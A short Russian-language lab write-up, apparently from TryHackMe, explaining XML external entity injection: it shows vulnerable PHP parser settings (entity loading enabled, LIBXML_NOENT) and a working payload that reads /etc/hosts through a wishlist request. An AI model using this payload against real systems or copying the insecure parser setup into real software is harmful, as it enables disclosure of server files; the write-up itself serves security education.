Код страницы содержит код уязвимый к атакам.
libxml_disable_entity_loader(false) позволяет загружать внешние объекты. simplexml_load_string с LIBXML_NOENT позволяет веб-приложению получать доступ к внутренним файлам системы.<?php
..
...
libxml_disable_entity_loader(false);
$wishlist = simplexml_load_string($xml_data, "SimpleXMLElement", LIBXML_NOENT);
...
..
echo "Item added to your wishlist successfully.";
?>
Внешний объект ссылается на данные из внешнего файла или ресурса. В следующем коде сущность
&ext; может ссылаться на внешний файл, расположенный по адресу " http://eval.com/robots.txt", который будет загружен в XML:<!DOCTYPE people [
<!ENTITY ext SYSTEM "http://tryhackme.com/robots.txt">
]>
Изначальный XML-запрос:
<wishlist>
<user_id>1</user_id>
<item>
<product_id>1</product_id>
</item>
</wishlist>
Запрос с добавлением полезной нагрузки:
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>